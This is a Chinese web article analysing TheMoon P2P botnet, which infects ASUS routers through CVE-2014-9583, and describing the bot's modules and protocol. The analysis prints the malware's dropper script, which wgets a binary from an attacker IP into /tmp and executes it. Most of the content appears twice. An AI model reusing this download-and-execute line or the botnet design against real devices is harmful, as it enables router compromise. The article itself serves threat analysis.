详解感染华硕路由器的P2P僵尸网络程序

摘要:很多电脑用户对于华硕路由器感染僵尸网络很迷茫,下面小编主要针对这个问题为大家讲解感染华硕路由器的P2P僵尸网络程序TheMoon,希望可以帮助到大家......

详情:

僵尸网络是指采用一种或多种传播手段,是指实现恶意控制功能的程序代码,在控制者和被感染主机之间所形成的一个可一对多控制的网络。

详解感染华硕路由器的P2P僵尸网络程序

下图是利用wireshark抓包捕获的僵尸程序攻击流量,可看出僵尸程序使用了CVE-2014-9583漏洞利用代码。

详解感染华硕路由器的P2P僵尸网络程序

CVE-2014-9583 :ASUS WRT是华硕(ASUS)公司的一个路由器固件。RT-AC66U、RT-N66U等多款路由器中使用的ASUS WRT的infosvr中的common.c文件中存在安全漏洞,该漏洞源于程序没有正确检查请求的MAC地址。远程攻击者可通过向UDP 9999端口发送NET_CMD_ID_MANU_CMD数据包利用该漏洞绕过身份验证,执行任意命令。详情参见GitHub

以下是bot从网站http://78.128.92.137:80/ 自动下载的nmlt1.sh文件内容

#!/bin/sh

cd /tmp

rm -f .nttpd

wget -O .nttpd http://78.128.92.137/.nttpd,17-mips-le-t1

chmod +x .nttpd

./.nttpd

路由器将会从攻击者控制的网站上自动下载并执行.nttpd文件,.nttpd运行后将成为驻留进程。以下为.nttpd文件哈希信息

详解感染华硕路由器的P2P僵尸网络程序

该bot程序属于TheMoon恶意软件系列,程序结构如下:

详解感染华硕路由器的P2P僵尸网络程序

该bot程序主要不同在于os_init和 run_modules函数,os_init中插入了8个iptables规则:

详解感染华硕路由器的P2P僵尸网络程序

为了获得感染设备的绝对控制权,防止反复感染,其中第一条规则通过关闭端口9999,阻止其它攻击者利用华硕CVE-2014-9583漏洞;第二条规则是关闭多个端口,阻止其它攻击者利用D-Link的一个远程命令执行漏洞。其余为bot程序建立的网络通信规则。

在run_modules中,bot加载了3个模块:CLK 、NET、DWL,我们依次来做分析:

CLK模块

该模块加载了两个线程,一个用来计时,一个用来同步,它通过查询公开NTP服务器保持UTC时间。抓包发现bot与NTP服务器之间的请求回应流量

详解感染华硕路由器的P2P僵尸网络程序

Net模块

该模块开启了UDP 5143端口,并创建了一个P2P通信线程。值得注意的是,与通常的端口通信不同,该bot程序支持3种不特定的消息类型。

Register message

RegisterTo message

FetchCommand message

每种类型都包含相同的头结构:

Offset Size Description

0 1 Body length

1 1 Message Type

2 1 TTL

3 1 0x8F (variant specific)

当bot接收到消息时,TTL值以1递减,并把消息转发给其它对等结点(peer),下图为向其它peer节点转发消息的底层代码

详解感染华硕路由器的P2P僵尸网络程序
上一页12 下一页 阅读全文
以上内容由WiFi之家网整理收藏!详情:

Register message(注册消息)

该消息类型标记为0,当所有模块加载完毕,消息将被转发给其它对等网络,包括iptables规则中的其它网络:

详解感染华硕路由器的P2P僵尸网络程序

详解感染华硕路由器的P2P僵尸网络程序

详解感染华硕路由器的P2P僵尸网络程序

消息体由两个双字字符串组成,其中0x6d6163f4为特定变量,而00000xx为对等网络值。在转发完该消息类型之后,bot程序会自动把发送方添加为自身对等结点(peer),以此扩大传播感染面。

RegistertTo message(判断消息)

该消息类型标记也为0,但消息体为12个字节。如果第三个双字字符不为0,程序将会向特定IP发送register message消息进行注册。否则,将会向发送方持续请求register message,保持通信。下图为bot程序接收到的Register To消息流量包

详解感染华硕路由器的P2P僵尸网络程序

FetchCommand message (控制消息)

该消息类型标记为1,消息体结构如下:

Offset Size Description

0 4 Peer IP address

4 4 Command id

8 4 Command size (Maximum 0x19001)

12 n file name(n8)

以下为bot接收到的FetchCommand消息流量包

详解感染华硕路由器的P2P僵尸网络程序

之后,bot程序会把消息内容储存在Pending Command内为后续DWL模块使用:

Struct PendingCommand

{

DWORD ip;

DWORD cmd_id;

DWORD cmd_size;

CHAR filename[8];

};

DWL模块

该模块创建读取PendingCommand内容的进程,之后,程序通过TCP 4543端口向特定IP发送请求文件名和命令ID:

详解感染华硕路由器的P2P僵尸网络程序

特定IP返回请求文件,bot储存响应信息并执行文件。下图为请求执行过程的底层实现代码:

详解感染华硕路由器的P2P僵尸网络程序

总结

TheMoon恶意软件于2014年被SANS发现,主要以路由器为目标,利用漏洞植入感染。从底层代码来看,TheMoon还以华硕(ASUS)和 Linksys路由器为特定目标。通过分析可以看出,TheMoon使用iptables规则进行通信的P2P感染机制还不太成熟,另外,其不加密的通信可被轻易发现和分析。

以上就是WiFi之家网小编为大家讲解的感染华硕路由器的P2P僵尸网络程序的教程,需要的用户快来看看吧,想了解更多精彩教程请继续关注WiFi之家网网站!

推荐文章:

新型WiFi系统 MegaMIMO 2.0三倍速 解决信号差、上网慢问题

教你一招成功破解电信限制路由器,多台电脑一起上网速也一样快

上一页 1 2下一页阅读全文
以上内容由WiFi之家网整理收藏!详情:

僵尸网络是指采用一种或多种传播手段,是指实现恶意控制功能的程序代码,在控制者和被感染主机之间所形成的一个可一对多控制的网络。

详解感染华硕路由器的P2P僵尸网络程序

下图是利用wireshark抓包捕获的僵尸程序攻击流量,可看出僵尸程序使用了CVE-2014-9583漏洞利用代码。

详解感染华硕路由器的P2P僵尸网络程序

CVE-2014-9583 :ASUS WRT是华硕(ASUS)公司的一个路由器固件。RT-AC66U、RT-N66U等多款路由器中使用的ASUS WRT的infosvr中的common.c文件中存在安全漏洞,该漏洞源于程序没有正确检查请求的MAC地址。远程攻击者可通过向UDP 9999端口发送NET_CMD_ID_MANU_CMD数据包利用该漏洞绕过身份验证,执行任意命令。详情参见GitHub

以下是bot从网站http://78.128.92.137:80/ 自动下载的nmlt1.sh文件内容

#!/bin/sh

cd /tmp

rm -f .nttpd

wget -O .nttpd http://78.128.92.137/.nttpd,17-mips-le-t1

chmod +x .nttpd

./.nttpd

路由器将会从攻击者控制的网站上自动下载并执行.nttpd文件,.nttpd运行后将成为驻留进程。以下为.nttpd文件哈希信息

详解感染华硕路由器的P2P僵尸网络程序

该bot程序属于TheMoon恶意软件系列,程序结构如下:

详解感染华硕路由器的P2P僵尸网络程序

该bot程序主要不同在于os_init和 run_modules函数,os_init中插入了8个iptables规则:

详解感染华硕路由器的P2P僵尸网络程序

为了获得感染设备的绝对控制权,防止反复感染,其中第一条规则通过关闭端口9999,阻止其它攻击者利用华硕CVE-2014-9583漏洞;第二条规则是关闭多个端口,阻止其它攻击者利用D-Link的一个远程命令执行漏洞。其余为bot程序建立的网络通信规则。

在run_modules中,bot加载了3个模块:CLK 、NET、DWL,我们依次来做分析:

CLK模块

该模块加载了两个线程,一个用来计时,一个用来同步,它通过查询公开NTP服务器保持UTC时间。抓包发现bot与NTP服务器之间的请求回应流量

详解感染华硕路由器的P2P僵尸网络程序

Net模块

该模块开启了UDP 5143端口,并创建了一个P2P通信线程。值得注意的是,与通常的端口通信不同,该bot程序支持3种不特定的消息类型。

Register message

RegisterTo message

FetchCommand message

每种类型都包含相同的头结构:

Offset Size Description

0 1 Body length

1 1 Message Type

2 1 TTL

3 1 0x8F (variant specific)

当bot接收到消息时,TTL值以1递减,并把消息转发给其它对等结点(peer),下图为向其它peer节点转发消息的底层代码

详解感染华硕路由器的P2P僵尸网络程序

Register message(注册消息)

该消息类型标记为0,当所有模块加载完毕,消息将被转发给其它对等网络,包括iptables规则中的其它网络:

详解感染华硕路由器的P2P僵尸网络程序

详解感染华硕路由器的P2P僵尸网络程序

详解感染华硕路由器的P2P僵尸网络程序

消息体由两个双字字符串组成,其中0x6d6163f4为特定变量,而00000xx为对等网络值。在转发完该消息类型之后,bot程序会自动把发送方添加为自身对等结点(peer),以此扩大传播感染面。

RegistertTo message(判断消息)

该消息类型标记也为0,但消息体为12个字节。如果第三个双字字符不为0,程序将会向特定IP发送register message消息进行注册。否则,将会向发送方持续请求register message,保持通信。下图为bot程序接收到的Register To消息流量包

详解感染华硕路由器的P2P僵尸网络程序

FetchCommand message (控制消息)

该消息类型标记为1,消息体结构如下:

Offset Size Description

0 4 Peer IP address

4 4 Command id

8 4 Command size (Maximum 0x19001)

12 n file name(n8)

以下为bot接收到的FetchCommand消息流量包

详解感染华硕路由器的P2P僵尸网络程序

之后,bot程序会把消息内容储存在Pending Command内为后续DWL模块使用:

Struct PendingCommand

{

DWORD ip;

DWORD cmd_id;

DWORD cmd_size;

CHAR filename[8];

};

DWL模块

该模块创建读取PendingCommand内容的进程,之后,程序通过TCP 4543端口向特定IP发送请求文件名和命令ID:

详解感染华硕路由器的P2P僵尸网络程序

特定IP返回请求文件,bot储存响应信息并执行文件。下图为请求执行过程的底层实现代码:

详解感染华硕路由器的P2P僵尸网络程序

总结

TheMoon恶意软件于2014年被SANS发现,主要以路由器为目标,利用漏洞植入感染。从底层代码来看,TheMoon还以华硕(ASUS)和 Linksys路由器为特定目标。通过分析可以看出,TheMoon使用iptables规则进行通信的P2P感染机制还不太成熟,另外,其不加密的通信可被轻易发现和分析。

以上就是WiFi之家网小编为大家讲解的感染华硕路由器的P2P僵尸网络程序的教程,需要的用户快来看看吧,想了解更多精彩教程请继续关注WiFi之家网网站!

推荐文章:

新型WiFi系统 MegaMIMO 2.0三倍速 解决信号差、上网慢问题

教你一招成功破解电信限制路由器,多台电脑一起上网速也一样快

以上内容由WiFi之家网整理收藏!

原创文章,作者:路由器,如若转载,请注明出处:https://www.224m.com/227798.html

(0)
路由器路由器
192.168.3.1手机登陆wifi设置-wifi怎样在手机上设置仅密码可连.
上一篇 2023年3月25日 12:34
家用监控器远程监控要收费吗(家用监控器远程监控要收费吗多少)
下一篇 2023年3月25日 12:49

相关推荐

  • 路由器的线路类型该怎么选择?

    静态地址线路是指ISP提供了固定的IP地址、子网掩码、网关地址、DNS的线路,这样的线路通常带宽比较大,成本也比较高,适用于学校、企业等环境,在家庭环境中极为少见。PPPoE拨号线路ISP为用户提供

    2020年5月29日
    11.7K
  • WinXP系统网页内容保存操作方法

    原标题:"WinXP系统网页内容怎么保存"相关电脑问题教程分享。 - 来源:WiFi之家网。  有些网页内容因为版权问题是不允许复制的,那么如何才能保存这个网页的内容呢?下面WiFi之家网教大侠两个小技巧

    2021年7月27日
    6.9K
  • 湖南电信赠送路由器设置(电信赠送wifi6路由器)

    湖南电信赠送路由器设置(电信赠送wifi6路由器) 近日,湖南电信向部分用户赠送了最新的wifi6路由器,该路由器性能更强,信号更稳定,让用户享受更畅快的网络体验。下面给大家介绍一…

    网络 2024年12月3日
    2.5K
  • 联通宽带修改wifi密码怎么改?(联通宽带wifi密码怎么改?)

    用户问题: 我家联通宽带,现在想改wifi密码,但是不知道怎么操作。 请问洪哥,联通的宽带怎么改wifi密码? 洪师兄回答: 你好,这位同学,更改wifi密码的操作与你家宽带无关。…

    2022年2月10日
    40.1K
  • Fdisk快速重建U盘分区步骤图解

    原标题:"如何使用Fdisk来快速重建U盘分区?"相关电脑问题教程分享。 - 来源:网络投稿。  Fdisk是Windows自带的分区工具,其作用是可以快速重建U盘分区表。但是,还有不少用户不清楚如何

    2021年7月8日
    12.9K
  • 如何选择路由器的地址设置(路由器设置怎么选择)

    如何选择路由器的地址设置 路由器是连接网络的重要设备,通过设置路由器地址可以确保网络连接顺畅。那么,如何选择路由器的地址设置呢? 第一步:了解网络结构 在设置路由器地址前,需要了解…

    网络 2023年12月14日
    141
  • 如何设置5个路由器上网(无法上网怎么办)

    如何设置5个路由器上网 在家庭或办公室环境中,有时需要使用多个路由器来实现网络连接和分流。下面介绍如何设置5个路由器上网。 步骤一:连接设备 首先,将ADSL或光纤调制解调器连接到…

    网络 2023年12月21日
    276
  • 如何远程教人设置路由器(如何设置远程打印机)

    如何远程教人设置路由器(如何设置远程打印机) 随着互联网的不断发展,越来越多的人需要学习如何设置路由器或远程打印机。而在远程教学时,我们可以通过以下步骤来帮助他人完成这些操作。 设…

    网络 2024年12月12日
    411
  • 路由器重启以后设备连不上网该怎么办?

    摘要:路由器重启以后设备连不上网该怎么办?一般情况下,网络信号不好的时候,我们都会选择重启路由器,但是有时候重启完路由器以后发现,手机连不上网了,该怎么办额?下面我们就来看看路由器重启以后的设置方法,需要的朋友可以参考下......

    2023年5月6日
    2.1K
  • casio手表什么档次 卡西欧值得买吗?

    casio手表什么档次 卡西欧手表是什么档次的?卡西欧值得买吗? 卡西欧手表档次一般。初中的时候戴,中小学生用的比较多。上了大学或者已经工作不合适,运动风格太明显。你可以试试贾明的garminmo

    投稿 2022年7月16日
    13.1K